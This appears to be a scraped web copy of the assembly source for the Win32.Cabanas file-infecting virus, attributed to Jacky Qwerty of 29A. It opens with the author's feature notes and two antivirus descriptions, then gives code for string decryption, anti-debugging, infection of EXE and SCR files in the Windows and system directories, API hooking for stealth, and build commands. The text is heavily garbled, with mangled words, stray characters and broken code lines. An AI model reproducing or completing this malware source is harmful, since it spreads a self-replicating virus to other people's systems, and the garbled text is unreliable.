Win32.cabanas.2999.asm

xiaoxiao2021-03-05  23

;

苒 苒? 苒 苒 圹? 苒 苒?; Win32.cabanas.2999??????; By jacky qWERTY / 29A 苘苒 咣 咣 咣? 圹?;?圮苘? 苘苘 苘苘???; 圹? 圹 圹???;

I'm Very Proud To Introduce The First / WinNT / WINNT / WIN95 / WIN32S Virus.

Not Only It's The First Virus Stayin Resident ON NT, But IS Also the First

WITH STEALTH, ANTIDEBUGGIN AND ANTIHEURISTIC CAPABILITIEZ. in Short Wordz,

This babe is a "per process" Memory Resident, Size Stealth Virus Infection

Portable Executable Filez On Every Existin Win32-Based System. Those WHO

DONT KNOW What A "Per Process" Res, IT Means a Virus Staying

Resident Inside The Host Win32 Aplication's Private Space, Monitoring File

Activity and Infectin PE Filez Or Accesed by Such Win32 Aplication.

;

; The purpose of this Virus Is To Prove New Residency Techniquez That Can Be

; Exploited from Genuine Win32 Infectorz, Without All The Trouble of Writing

Especific Driverz for Win95 (VXDS), And Winnt. A Genuine Win32 Infector IS

A Virus Bein Able To Work Unmodified Across All Win32 Platformz Available:

Win95, Winnt and Any Other Future Platform Suportin The Win32 API Interfa-

CE. So far Only Win95 Especific Virusez Have Been Found, Not Win32 Genuine

Onez. Make Sure To Read The Complete Description About Win32.cabanas Writ-

; Ten by P 伥 Er SZ block, available at http://www.avp.ch/avpve/newexe/win32/caba-

NAS.STM. U Can Also Read Description by Igor Daniloff from Dr.Web, Availa-

Ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.

;

; After Readin P 伥 Er SZ block 's description About Win32.cabanas, i realized he'd

Really Made a Very Serious Profesional Work. So Good That He DIDNT SEEM TO

Miss any internail detail in the Virus, As if He Had Actually Writen The; Bug Himself or As IF He Was Actually Me, Hehe. Obviosly, None of the PRIOR

Onez Are True. But, Nevertheless, I Think It's Worth To Take His Work Into

Account Even from the vx side of the fence. Really I Dunno What's Left for

; Me To Say After Such Description, SO I WILL SIMPLY Add My OWN PERSONAL CO-

Mentz to P 伥 ER's log. ERM .. BTW why dont u join us? HEH> 8P

;

;

; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8

1. TECHNICAL DESCRIPTION

Where is Xiyomo know? Where is it?

Win32.cabanas is The First Known 32-Bit Virus That Works Under Windows NT

; Server, Windows NT Workstation, Windows 95 and Windows 3.x Extended with WITH

Win32S Sub-System. It was found in late 1997.

;

Win32.cabanas is a per-process memory, antidebug-

GeD, Partially Packed / Encrypted, Anti-Heuristic, Semi-Stealth Virus. The

"Win32" prefix is ​​not misleading, as the virus is also able to spread in

ALL WIN32 BASED SYSTEMS: Windows NT, Windows 95 and Win32s. The Author of

; The Virus Is A Member of The 29a Group, The Same Young Virus Writer Who

Wrote the infamous cap.a virus.

;

;

; 1.1. Running an infected pe file

Where is Xiyomo know? Where is Xiyomo?

When a win32.cabanas infread file is executed, The Execution Will Start

At the Original Host Entry Point. surprisingly, Cabanas Does Not Touch

The entry point field in the image file header. INSTEAD IT PATCHES THE

Host Program At Its Entry Point. FIVE BYTES AT The Entry Point IS Replaced

WITH A FAR JMP To The Address Where The Original Program Ended. THIS CAN

; Be considered as an anti-heuristic feature, as the host entry point value

.................

;

Thus The First JMP Points to the Real Entry Point. THE FIRST FUNCTION IN

Cabanas Unpacks and Decrypts A String Table Which Consists Of Win32 Kernel

API Names. The Unpack Mechanism IS Simple But Effective Enough. Cabanas IS

Also an armored virus. It Uses "structured exception handling" (Typically

Abbreviated AS "SEH") as an anti-debug trick. this prevents debugging fromom

Any Application-Level Debugger, Such AS TD32.

;

When the unpack / decryptor function is ready, The Virus Calls a Routine To

Get the Original Base Address of kernel32.dll. During Infection Time, The

; Virus Searches for getModuleHandlea and getModuleHandlew API in the import

Table, Respectively. When It Finds Them, IT Saves a Pointer to the Actual

DWord in the .idata list. Since the loader Puts the addresses to this

Table Before IT Executes The Virus, Cabanas Gets Them Easily.

;

; If the application does not has getModuleHandlea / GetModuleHandlew API

Import, The Virus Uses A Third undocumented Way to get the base address of

Keernel32.dll by getting it from the forwarderchain field in the kernel32

Import. Actually this Will Not Work Under Windows NT, But on Win95 Only.

When the Virus Has The Base Address / Module Handle of Kernel32.dll, IT

Calls Its Own Routine TO GET The Address of getProcAddress Function. The

First Method Is Based on The Search of The Import Table During Infection

Time. The Virus Saves a Pointer to The .idata Section WHENEVER IT FINDS A

GetProcaddress Import in The Host. In Most Cases Win32 Applications IMPORT

The getProcaddress API, Thus The Virus Should Not Use a secondary routine; to get the same result. if the first method fails, The Virus Calls Another

Function Which is able to search for getProcaddress Export in kernel32.

SUCH FUNCALD BE CALLED AS getProcaddress-from-exportstable. This

Function is able to search in kernel32's exports Table and Find the

Address of getProcAddress API.

;

This Function is one of the Most Important Ones from the Virus Point of

View and it is compatible with all win32 based systems. if the entry point

; of getProcaddress Was Returned by the getproCaddress-from-exportstable

Function, The Virus Saves this Address and use it lated on. Otherwise, The

GetProcaddress-from-Exportstable Function Will Be Used Several Times. This

Function is also saved with "structured exception handling" to Avoid from

Possible Exceptions. After this, The Virus Gets All The API Addresses IT

Wants to use in a loop .hen the addresses is ready, Cabanas Is Ready

To Replicate and Call ITS Direct action infection routine.

;

;

; 1.2. Direct action infection

Where is Xiyomo know? Where is Xun?

The Direct action infection part is surprisingly fast. Even though the

Virus Goes Through All The Files in Windows Directory, Windows System

; Directory and in The Current Directory Respectively, The File Infection

Is Fast Enough To Go Unnoticed in Much Systems. This is Because The Virus

Works with "Memory Mapped Files", A New Feature Implement in Win32 Based

Systems Which Simplifies File Handling and INCRESES SYSTEM Performance.

;

First The Virus Gets The Name of Windows Directory, The IT Gets The Name

Of Windows System Directory and Calls The Function Which Searches for Non-; Infected Executable Images. It Searches for non Directory Entries and

Check The size of the files it..

;

Files with size dividable by 101 without reminder is assumed to be

Infected. Other Files Which Are Too Huge Will Not Be infected Either.

; After this, The Virus Checks The File Extension, IF IT Matches Exe OR

; SCR (Screen Saver Files), The Virus Opens and Maps The File. If The File

; is considered to short, the file is closed. The file is closed. Then IT Checks the`mz 'marker

At the beginning of the image. Next it positions to the possible `pe '

Header Area and Checks The `pe 'Signature. It Also Checks That The

EXECUTABLE WAS MADE TO RUN 386 Machines and Looks for the Type of

The file. DLL Files Are Not Infected.

;

After this, The Virus Calculates a Special Checksum Which Uses The

Checksum Field of PE Files Optional Header and The File-Stamp Field of

The image file header. if the file seems to be infreaded the Virus Closes

The file. if NOT, The File Is Chosen for Infection. Cabanas The Closes

; The file, Blanks the file attribute of the file with setfileAttributea API

And Saves The Original Attributes for Later Use. this means the Virus IS

NOT Stopped by The "Read Only" Attribute. Then Again, IT OPENS and MAPS

The Possible Host File in Read / Write Mode.

;

Next it searchles for the getModuleHandlea, getModuleHandlew and

GetProcaddress API Imports in The Host Import Table and Calculates

Pointers to the .idata section. Then it calls the routine Which

Patches the Virus Image INTO The File.

;

This Routine First Checks That The .idata Section Has Mem_Write

CHARACTERISTICS. IF NOT IT SETS This flag on the section

Virus from Turning On Suspicious Flags on The Code Section, Triggered

by Some Heuristic Scanner.

;

; The IT GoES to the entry point of the image and report Five Bytes

; WITH WILL POINT to THE Original End of The

Host. After That It Checks The Relocation Table. This is Because Some

; Relocations May Overwrite the far jmp at the entry point. if the

; Relocation Table Size Is Not Zero the Virus Calls a Special Routine

To Search for Such Relocation Entries in The .Reloc Area. IT CLEARS

The Relocation Type On The Relocation Record if it Points Into The Far

JMP Area, this this relocation will not take it 通o account by the loadinger.

The Routine Also Marks The Relocation, Thus Cabanas Will Be Able To

; relocate the host later on. The IT Crypts All The Information Which Has

To be encrypted in the Virus body. include the table which holds the THE

Original 5 bytes from the entry point and its location.

;

Next The Virus Calculates The Special Checksum for Self Checking Purposes

And Saves this to the Time Stamp Field of The Pe Header. When Everything

; Is Ready, The Virus Calculates The Full New Size of The File and Makes

This value Dividable by 101. The real virus code is around 3000 bytes

Only But The Files Will Grow with more bytes, Because of this. Cabanas

HAS a Very Important Trick here. The Virus Does Not Create A New Section

Header to Hold Its Code, But Patches The Last Section Header in The File

(USUALLY.RELOC) To grow the section body large enough to store the Virus

Code. this makes the infection less risky and less noticeable .;

Imate the virus changes the sizeofimage field in the pehofi to reflect

; the changes match to the last seat in the file, the unmaps and closes

The file. next it truncates the file at the prepviously called size

And restores the Original Time and Date Stamp. Finally Cabanas Resets The

Original Attribute of The File. When All The Possible Files Have Been

Checked for Infection, Cabanas Is Ready to Go Memory Resident.

;

;

; 1.3. Rebuild The Host, Hook API Functions and Go Memory Resident

Where is Xiyomo knows? Where is Xomomo know 1?

The next phase is to rebuild the host program. The Virus locates an

Internal Parameter Block Which Consists of the Previously Encrypted Code

; from the host (5 bytes) and Writes Back the 5 Original Bytes At the entry

Point. After this, it relocates the code area if needed, by searching in

The .reloc section for marked relocation entries. Next The Virus Hooks

API Functions and Goes Memory Resident.

;

The API Hooking Technique Is Based on The Manipulation of The Import

Table. Since The Host Program Holds The Addresses of Imported Functions

; in its .idata section, all the virus haas to do is to replace those

Addresses to Point To ITS OWN API Handlers.

;

To make Those Calculation Easy, The Virus Opens and Maps The Infected

Program. Then IT Allocates Memory for ITS Per-Process Part. The Virus

ALLOCATES A 12232 BYtes Block and Copies Itself Into this new allocated

Area. The IT Searches for All The Possible Function Names It Wants To

Hook: getProcaddress, GetFileAttributesa, GetFileAttributesw, MovefileExa,

Movefileexw, _lopen, Copyfilea, CopyFilew, OpenFile, Movefilea, MoveFilew, CreateProcessa, CreateProcessw, CreateFilea, CreateFilew, FindClose,

FindfirstFilea, FindNextFilew, FindNextFilea, FindnextFilew, SetFileAttra,

; Setfileattrw. WHENEVER IT FINDS One of the latter apis, it saves the

Original Address To Its Own JMP Table and Replaces the .idata Section's

DWORD (Which Holds The Original Address of The API) with a Pointer to ITS

oow API Handlers. Finally the Virus Closes and unmaps the host and starts

The application, by jumping into the Original Entry Point in The Code

.

;

; Some Win32 Applications However May Not Have Imports for Some of these

File Related Apis, They Can Rather Retrieve Their Addresses by Using

GetProcaddress and Call The Directly, Thus the Virus Would Be Unable

To hook this calls. NOT SO FAST. The Virus Also Hooks GetProcaddress

For a special purpose. getProcaddress is buy by MOST Applications.

When a application calls getprocaddress the Virus New Handler First

Calls the Original GetProcaddress to get the address of the requested

API. THEN IT CHECKS IF The Module Handle Parameter Is from Kernel32 and

; if The function is one of the kernel32 Apis that the Virus Wants to hook.

; If So, The Virus Returns A New API Address Which Will Point Into ITS

Newjmptable. Thus the application will still get an address to the Virus

New Handler In Such Cases As Well.

;

;

; 1.4. Stealth and Fast Infection Capabilities

Where is Xiyomo knows? Where is Xiyomokin?

Cabanas Is A Semi-Stealth Virus: During Findfirstfilea, FindfirstFilew,

FindnextFilea and FindnextFilew, The Virus Checks for Already Infected

PROGRAMS. IF The Program Is Not Infected The Virus Will Infect It ,; OtherWise It Hides The File Size Difference By Returning The Original

Size for the host program. During this, The Virus Can See All The File

Names The Application Accesses and Infects Every Single Clean File.

;

Since the cmd.exe (Command Interpreter Of Windows NT) is Using The Above

Apis During a Dir Command, Every Non Infected File Will BE Infected

The cmd.exe was infected previously by win32.cabanas. The Virus Will

Infect Files During Every Other Hooked API Request As Well.

;

Apart from the Encrypted API Names Strings, The Virus Also Contains The Virus Also Contains

FOLLOWING COPYRIGHT MESSAGE:

;

; (c) Win32.cabanas v1.0 by jqwerty / 29a.

;

;

; 1.5. Conclusion

Which is nine?; Win32.cabanas is a Very Complex Virus with Several Features New in Win32

Based Systems. It Shows Quite Interesting Techniques That Can Be Used in

The Near Future. IT Demonstrates That A Windows NT Virus SHOULD NOT HAVE

Any Windows 95 or Windows Nt especific functionality in Order to Work ON

Any Win32 System. The "Per-Process" Residency Technique Also shows A

PORTABLE VIABLE SOLUTION TO AVOID KNOWN Compatibility Issues Between

; Windows 95 and Windows NT Respecting Their Low Level Resident Driver

Implementations. Virus Writers Can Use these Techniques and their

Knowledge The Have Had on Windows 95 To Come to a more robust platform.

So far win32.cabanas Has Made this first step.

; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8

;

;

; 2. SHORTCUTZ

Where is it?

; (*) http://www.dials.ccas.ru/inf/cabanas.htm

;

; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8

Win32.cabanas: a brief description; and knowing from knowing? Where is Xiyomo?

; Igor A. Daniloff

;

Win32.cabanas is The First Known Virus That Infects Files Under Microsoft

32-Bit Windows Operating Systems (Win32S / Windows 95 / Windows NT). NOT ONLY

IS IT Capable of Infection PortableExecutable Files, But Also Remains

Resident In The Current Session of An Infected Program in All these

Windows Systems.

;

; The Viruses Specifically Designed for Windows 95 Thus Far Could Not

Properly Infect Files in Windows NT. Although Files Of Windows 95 and

; Windows NT Have Identical PE Format, Certain Fields in Their Pe Headers

Are Different. Therefore, for Infecting Files Under Windows NT, The PE

Header Must Be Modified AppropriaTely; Otherwise Windows NT Would Display

An Error Message In The Course of Loading The File. Furthermore, Viruses

ENCOUNTER CERTAIN Problems in Determining The Base Addresses Of Win32

Keernel API in The Memory, Because Kernel32.dll in Windows 95 and Windows

NT Are Located At Different Memory Addresses. But Win32.cabanas Smartly

Handles these problems. on Starting An Infected File, The Virus Get

Control, Unpacks and Decrypts ITS Table of Names of Win32 Kernel API

Procedures That Are Needed in The Sequel, and the seinermines the base

Address of kernel32.dll and the addresses of all Necessary Win32 Kernel

API Functions.

;

While Infecting A File, Win32.cabanas Finds The Names of getModuleHandlea,

GetModuleHandlew, and getProcaddress Functions from the import Table and

Stores in its code the offsets of the addresss of these procedures in the

Import table (in the segment .idata, as a rule). If the names of these

Procedures are not detectable, win32.cabanas buy; method of finding the base address of kernel32 and the addresses of Win32

Keernel API. But there is a bug in this undocunted method; theretrument

Method is inoperative under windows nt. if the addresses of

GetModuleHandlea or getModuleHandlew Functions Are Available in The Import

Table of the infected file, The Virus Easily Determines The Win32 Kernel

API Addresses Through the getProcaddress Procedure. If The Addresses Are

NOT AVAILABLE IN THE IMPORT TABLE, The Virus Craftily Finds The Address of

GetProcaddress from the export table of kernel32. As already a mentioned,

; this Virus Mechanism Is Not Operative Under Windows NT Due To A bug, And,

AS A Consesequence, The Normal "Activity" of the Virus is disabled. this is IS

The only serious bug thing prevents the proliferation of win32.cabanas

Under Windows NT. on The Contrary, In Windows 95 The Virus "Feels"

Completely at home "and straightforwardly (Even in the absence of the

Addresses of getModuleHandlea or getModuleHandlew) DETERMINES THE BASE

Address of kernel32.dll and getProcaddress via an undocumented method.

;

Using the getProcaddress Function, Win32.cabanas Can Easily Get The

Address of any Win32 Kernel API Procedure That Needs. this is precisely

What The Virus Does: It gets the addresses and stores them.

;

; Win32.cabanas initiates ITS Engine for Infecting Exe and SCR PE-Files

; in / windows, / windows / system, and the current folder. prior to infecting A. PRIOR TO INFECTING A

File, The Virus Checks for a Copy of Its Code THROUGH CERTAIN FIELDS IN

; the pehader and by the file size, which for an infected Must Be a

Multiple of 101. As Already Mentioned, The Virus Searches for the names of; getModuleHandlea, getModuleHandlew or getProcaddress in the import table

And Saves The References To Their Addresses. The IT Appends ITS Code At

The file end in the last segment section (Usually ,.Reloc) after modifying

The Characteristics and size of this section. Thereafter, The Virus

; Replace the Five Initial bytes of the Original Entry Point of The Code

;,,,,,,,,,,,,,,,,,,,,,,,,,,....................................................................................................

The Virus Code in The last segment section (.reloc). for this purpose, the Purpose, THE

; Virus Examines The Relocation Table (.reloc) for Finding Some Element in

The region of bytes That The Virus Had Modified. if, the Virus. IF ANY, THE VIRUS

"Disables" The Reference and Stores ITS Address and Value for Restoring

The initial bytes of the entry point at the time of transfer of control

; to the host program and, if Necessary, for Appropriately Configuring the

.

;

; After infecting all files That Yield to Infection In / Windows, / Windows /

; SYSTEM, AND IN THE CURRENT FOLDER, The Virus Plants A Resident Copy Into

The system and "intercepts" the nextary system functions. using

Virtualaloc, The Virus Allots for Itself 12232 BYtes in the memory and

Plants it. code there. The IT Tries to "Intercept" The Following Win32

Keernel API functions: getProcaddress, getFileAttributesa,

GetfileAttributesw, MovefileExa, MovefileExw, _Loopen, Copyfilea,

Copyfilew, OpenFile, Movefilea, MoveFilew, CreateProcessa, CreateProcessw,

Createfilea, CreateFilew, FindClose, Findfirstfilea, FindfirstFilew,

FindnextFilea, FindNextFilew, SetFileAtTra, And SetFileAtTrw. The Virus

"Picks Up" The Addresses of these Functions from The Import Table, And; Writes The Addresses of Its Handlers in The Import Table. on Failing To

"Intercept" Certain Necessary Functions, The Virus, When the Host Program

Calls for the getProcaddress Function, Verifies WHETHER THIS function is

Necessary for the Host Program, And Returns The Address of The Virus

Procedure to Host Program if Necessary. When a Program Calls for Certain

Functions That Have Been "Intercepted" by Win32.cabanas, The File

Infection Engine and / or The Stealth Mechanism Are / IS Initialized. Thus,

When FindfirstFilea, FindFirstFilew, And FindnextFilea or FindnextFilew

Functions Are Called, The Virus May Infect The File Which is Being

Searched and hide the increase in the infread file size.

;

Win32.cabanas cannot Be Regarded As a "True Resident" Virus, Because IT

; "Intercepts" System Functions and Installs Its Copy in A Specific Memory

Area Only in The Current Session of An Infected Program. But what WILL

Happen on Starting, for Example, An Infected Norton Commander for Windows

; 95 or Command Interpreter for Windows NT? OR A Resident Program? INDEED,

Win32.cabanas Will Also "Work Hard" Side by Side with Such a Program Until

It is termic.

;

Win32.cabanas Contains An Encrypted Text String

"(c) Win32.cabanas v1.0 by jqwerty / 29a"

;

(c) 1997 DialoguesCience, Inc., Moscow, Russia. All Rights Reserved.

; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8

;

;

; 3. Main featurez

Where is Xiyomo?

* Platformz: WindowsNT, Windows95, Win32S, I.E. All Win32 Platformz.

* Residency: Yes, "Per Process", Workin On All Win32 Systemz .; * Non-Residency: Yes, Direct Action, Infects Pez Before GOIN Resident.

; * Stealth: Yes, Size Stealth of Inf.filez (F-Potatoe95 fooled).

; * Antidebuging: Yes, TD32 or Any Other "Aplication" Level Debuger

Generates An Exception When Debugin An Infected

APLICATION. This Obviosly Doesnt APLY for Soft-Ice

For Windows95, A Big Monster.

* Antiheuristicz: Yes, Inf.filez Have No Obvious Symptomz of Infection.

Taher win95 virusez tent to "mark" The Pe Header SO

They area. See: Other Featurez (e).

; * Antiantivirus: Yes, Disinfection of Inf.filez is almost * imposible *.

; * Fast Infection: Yes, Filez Are Infected When Accesed for Any Reason.

* Polymorphism: No, The Poly Engine Was Stripped and removed on purpose.

; * Other Featurez:

(a) The entrypoint field in the pehdr is not modified.

; (b) Win32 File API FunctionZ Are Hooked for Infection and

Stealth Purposez But Also for Platform Compatibility.

; (c) Use of the win32 "file-maping" API FunctionZ, thus

Implementin "Memory-Mapped Filez". no more "readfile",

"SetFilePointer", "Writefile" ... it is about time.

; (d) Absolutely no use of absolute adressez in set of

Compatibility With Other Future Win32 Releasez.

; (e) The Shape av Program sucks, But Sadly It Was The Best

Thing Detectin Pe Infected Filez HeuriSti. Well

Almost as it Didnt Triger a Single Flag On this one :)

; (f) Use of "structured exception handling" (SEH) in Those

Critical Code Fragmentz That Could Generate GP Faultz,

I. EXCETIONZ Are Intercepted and handled protion.

(g) unicode suport. this babe real works in nt. no lie .;

;

; 4. WHO WAS CABANAS?

Where is Xomo? Where is it ?; Gonzalo Cabanas Used to be a daydream believer. We share Several Thingz

In Comon, Heard Same R.e.m Music Style, Wore The Same Ragged Blue Jeanz,

; And Behaved Like Kidz Everywhere We Went Together, Putin Tackz on The Tea-

Cher's Chair, Stealin Some Classmate's Lunch and So on. We Even LIKED THE

; Same Girlz, Which Explains Why We Sometimez Ended Up Punchin EACH OTHER'S

Face from time to time. However, u Could Find Us next day, smoking A-

Round by the skoolyard as if nothin had Ever Hapened. WEERE The Best

Friendz Ever. I Know this Virus Wont Return Him Back to Life, Nor "Will DO

Him Justice, HOWEVER, ISTILL WANTED to Somewhat Dedicate this Program in

His Honor.

;

;

; 5. Greetz

Where is it?; The Greetz Go TO:

;

Gonzo Cabanas ......... Hope to see u thingwhere in time .. Old Pal!

Murkry ................ WHOA .. I like Yer High-Tech Ideaz Budie!

Virusbuster / 29a ....... u're the i-net man pal .. keep doin it!

VECNA / 29A .................. Keep Up The Good Work Budie.. See Ya!

L- .................. DID YA ASK for SOME KICK-ASS LIL 'CREATURE? X-D

INT13 ................... HEY PAL .. U'Re Also A Southamerican Rocker!;)

Peter / F-Potatoe ....... Yer Description Rulez .. Mikko's Envy Shines!

; DV8 (H8), KDKD, ETC ... Hey Budiez .. now WHERE DA HELL ARE U?

Griyo, Sandy / 29A ... THX for Yer Patience HEH X-D

;

;

; 6. Disclaimer

Which is nine?; This source code is for educational purposez only. The author is not res-

PONSABLE for any problemz caused due to the assembly of this file.

;

;

; 7. Compiableing IT

Where is Xiyomo?; Tasm32 -ml-M5 -Q-Zn Cabanas.asm; TLINK32-Tpe -c -x -aa Cabanas,,, IMPORT32

Pewrsec Cabanas.exe

;

;

(c) 1997 Jacky QWERTY / 29A.

.386p; Generate 386 protected mode instructionz

.Model flat; no segmentz and a ful 32-bit offset .. what a dream;)

Some includez Containin Very Useful structurez and constantz for Win32

INCLUDE USEFUL.INC

Include Win32API.inc

Include Mz.inc

INCLUDE PE.IC

; Some Equ's needed by the Virus

NAPIS = 1 * 1024; Size of Jump Table Holdin Hooked APIZ

NHANDLEZ = 2 * 1024 512; Size of Handlez Table

Npathnamez = 4 * 1024 512; Size of Pathnamez Table

EXTRN GETMODULEHANDLEA: PROC; APIZ Used Durin First Generation ONLY

EXTRN GETPROCADDRESS: PROC

.DATA

DB?; Some Dummy Data SO TLINK32 DONT YELL

.code

Virus Code Starts Here

v_start:

Call get_base

Code_Table:

DD 12345678H; Host RVA Entry Point

DW 1; Number of Bytez

DB?; bytez to patch

DW 0; End of Parameter Block

Code_Start:

Packed apiz needed by the Virus. The Will Travel in Packed / Encrypted Form

VE_STRINGZ:

VESZKERNEL32 DB 'KERNEL32', 0

VESZGETMODULEHANDLEA DB 'GETMODULEHANDLEA'

VESZGETMODULEHANDLEW DB 80H, 17

EEXTS DB 'FXETCR', 0; List of File Extensionz

VESZGETPROCADDRESS DB 'GETPROCADDRESS', 0

VeszgetFileAttributesa DB 'GE', 'T' 80H, 'Attributesa'

VeszgetFileAttributesw DB 80H, 19

Veszmovefileexa DB 'MOV', 'E' 80H, 'EXA'

VeszmovefileExw DB 80H, 12

VESZ_LOPEN DB '_LOPEN', 0

VeszcopyFilea DB 'COP', 'Y' 80H, 'A'

VeszcopyFilew DB 80H, 10

Veszopenfile DB 'OPE', 'N' 80H, 0

Veszmovefilea DB 'MOV', 'E' 80H, 'A'

VeszmoveFilew DB 80H, 10VeszcreateProcessa DB 'CreateProcessa'

VeszcreateProcessW DB 80H, 15

VeszcreateFilea DB 'Creat', 'E' 80H, 'A'

VeszcreateFilew DB 80H, 12

VESZFINDCLOSE DB 'FINDCLOSE', 0

Veszfindfirstfilea DB 'Findfirs', 'T' 80H, 'A'

VESZFINDFIRSTFILEW DB 80H, 15

VESZFINDNEXTFILEA DB 'FINDNEX', 'T' 80H, 'A'

VESZFINDNEXTFILEW DB 80H, 14

VeszsetFileAttributesa DB 'Se', 'T' 80H, 'Attributesa'

VeszsetFileAttributesw DB 80H, 19

VeszCloseHandle DB 'CloseHandle', 0

VeszcreateFilemappinga DB 'Creat', 'E' 80H, 'Mappinga', 0

VeszmapViewoffile DB 'MapViewo', 'F' 80H, 0

VeszunmapViewoffile DB 'unmapViewo', 'F' 80H, 0

VESZSETFILEPOINTER DB 'SE', 'T' 80H, 'Pointer', 0

VeszseEtendoffile db 'setndo', 'f' 80h, 0

VeszsetFileTime DB 'SE', 'T' 80H, 'Time', 0

VeszgetWindowsDirectory DB 'getWindowsDirectorya', 0

VeszgetsystemDirectory DB 'getSystemDirectorya', 0

VeszgetCurrentProcess DB 'getCurrentProcess', 0

VeszgetModuleFileName DB 'getModul', 'E' 80H, 'Namea', 0

VESZWRITEPROCESSMORY DB 'WRITEPROCESSMORY', 0

VeszwideChartomultibyte DB 'Widechartomultibyte', 0

Veszvirtualaloc DB 'Virtualalloc', 0

EndoffunctionNamez DB 0

Copyright and Versionz

Eszcopyright DB "(c) Win32.cabanas v1.1 by jqwerty / 29a.", 0

VE_STRING_SIZE = $ - VE_STRINGZ

GET_BASE:

Mov ECX, VE_STRING_SIZE; GET SIZE OF PACKED / ENCRYPTED STRINGZ

MOV ESI, [ESP]; Get Pointer to Packed / Encrypted Stringz

XOR EBX, EBX

Mov Eax, ESISUB ESI, ECX

CLD

Sub DWORD PTR [ESP], Code_Table - SEH_FN

Add ESI, [EAX - 4]

Push DWORD PTR FS: [EBX]; SET SEH FRAME .. EVER SEEN FS IN ACTION? X-D

Lea EDI, [ESI PCODETABLE - VE_STRINGZ]

STOSD; Save Pointer to Code_Table

Add Eax, 12345678H

Delta_host = DWORD PTR $ - 4

STOSD; Save Actual Host Base AdRess

MOV EAX, ESI

STOSD; Save Pointer to Virus Start

EBP_NUM = DDGETPROCADDRESS 7FH

TMP_EDI = Pcode_Start 4

MOV FS: [EBX], ESP

Pushhad

XCHG Eax, [EBX - 2]; Go Away Lamerz and Wannabeez ..

DB 2DH

SEH_RS: SUB EDI, TMP_EDI - V_STRINGZ; GET POINTER TO KERNEL32 API Name

POP EAX

Push EDI; Pass the Pointer TWICE

Push EDI

Decrypt_stringz:; Decrypt / Unpack API Namez and other Stringz

Lodsb

ROL Al, Cl

XOR Al, 0B5H

JNS D_Stor

Add Al, -80h

JNZ D_File

Stosb; Expand / Unpack Unicode API Name

XOR EAX, EAX

Lodsb

PUSH ESI

XCHG ECX, EAX

MOV ESI, EDX

REP MOVSB

XCHG ECX, EAX

Sub Byte PTR [EDI - 2], 'A' - 'W'

POP ESI

JMP D_UPDT

D_File: Stosb

XOR EAX, EAX

Sub Eax, - 'Elif'; Expand to 'File' Where Aplies

Stosd

CMP AL,?

Org $ - 1

D_Stor: Stosb

JNZ D_LOOP

D_UPDT: MOV EDX, EDI

D_Loop: loop Decrypt_Stringz; Get Next Character

Call MygetModuleHandlea; Get Kernel32 Base AdRess (First Try)

POP ESI

JNZ Gotk32; Jump if Found

SUB ECX, ECX

XOR EAX, EAX

MOV CL, 9

Push EDI

CLD

Copy_k32w:; make Unicode String for kernel32

Lodsb

Stosw

Loop Copy_K32W

Call MygetModuleHandlew; Get Kernel32 Base AdRess (Second Try)

JNZ Gotk32; Jump if Found

Call MygetModuleHandlex; Get Kernel32 Base AdRess (Third Try)

JNZ Gotk32; Jump if Found

Quit_app:

POP Eax; Shit .. kernel32 base adRESS NOT FOUND

Ret; try to quit Aplication via an undocumented WAY

DB 67h; Some prefix to confuse lamerzseh_fn: MOV Eax, [ESP.EH_ESTABLISHERFRAME]

Lea ESP, [EAX - CPUSHAD]

Popad

XOR EAX, EAX

LEA EBP, [EDI EBP_NUM - TMP_EDI]

POP DWORD PTR FS: [EAX]; Remove SEH FRAME

JMP SEH_RS

Gotk32: MOV [EBP K32MOD - EBP_NUM], EAX; Store Kernel32 Base AdRess

CMP DWORD PTR [EBP DDGETPROCADDRESS - EBP_NUM], 0

XCHG EBX, EAX

JNZ FIND_APIS; GOT RVA POINTER TO GETPROCADRESS API?

Lea ESI, [EBP VSZGETPROCADDRESS - EBP_NUM]

Call MygetProcaddressk32; NO, Get Adression of getProcadRESS DIRECTLY

JECXZ FIND_APIS

Lea Eax, [EBP DDGETPROCADDRESS2 - EBP_NUM]

MOV [EAX], ECX

Sub eAX, [EBP Phost_HDR - EBP_NUM]

MOV [EBP DDGETPROCADDRESS - EBP_NUM], EAX

Find_apis:; find file related API adressez from kernel32 ..

LEA ESI, [EBP FUNCTIONNAMEZ - EBP_NUM]

Lea EDI, [EBP FUNCTIONADRESSEZ - EBP_NUM]

Getapiaddress:

Call MygetProcaddressk32; Get API AdRess

Jecxz Quit_App

CLD

XCHG EAX, ECX

STOSD; Save Retrieved API AdRess

@Endsz; Point to Next API Name

CMP [ESI], AL; END OF API Namez Reached?

JNZ getapiaddress; no, get next API adress

Lea EBX, [EBP Process_Dir - EBP_NUM]

Lea EDI, [EBP PATHNAME - EBP_NUM]

Push 7fh

Push EDI

Call [EBP DDGETWINDOWSDIRECTORYA - EBP_NUM]

Call Ebx; Infect Filez in Windows Directory

Push 7fh

Push EDI

Call [EBP DDGETSYSTEMDIRECTORYA - EBP_NUM]

Call EBX; Infect Filez in System Directory

XOR EAX, EAX

MOV BYTE PTR [EDI], '.'

INC EAX

Call Ebx; Infect Filez in Current Directory

Build_host:; Rebuild The Host ..

MOV ESI, [EBP PCODETABLE - EBP_NUM]; Get Code Table of Host

MOV EBX, [EBP Phost_HDR - EBP_NUM]; Get Host Base AdRess

CLD

Lodsd

Add Eax, 0B2FD26A3H; Decrypt Original Entry Point RVA

Add_1st_val = DWORD PT $ - 4xchg EDI, EAX

Add Edi, EBX

Push EDI; Save Entry Point for L8R Retrieval

GET_COUNT:

Call [EBP DDGETCURRENTPROCESS - EBP_NUM]; GET PSEUDO-HANDLE for CURRENT Process

XCHG ECX, EAX

CLD

Lodsw; Get Number of bytes To Copy

CWDE

XCHG ECX, EAX

MOV EDX, ECX

Push Ecx; Push Parameterz to WriteProcessMemory API

Push EAX

PUSH ESP

Push ECX

PUSH ESI

Push EDI

Push EAX

Decrypt_hostcode:; Decrypt The Chunk of Original Host Code Previous, PREVIOSLY Encrypted.

Lodsb

XOR Al, 06ah

XOR_2nd_val = byte PTR $ - 1

ROL Al, Cl

MOV [ESI-1], Al

Loop Decrypt_hostcode

SUB ECX, 12345678H

Old_base = dWord PTR $ - 4

Add ECX, EBX; HAS HOST BASE AdRess Been Relocated?

JZ Write_Chunk; No, Relocation FIX NOT NECESARY .. JUMP

FIX CODE POINTED TO by One or More Nulified Relocationz ..

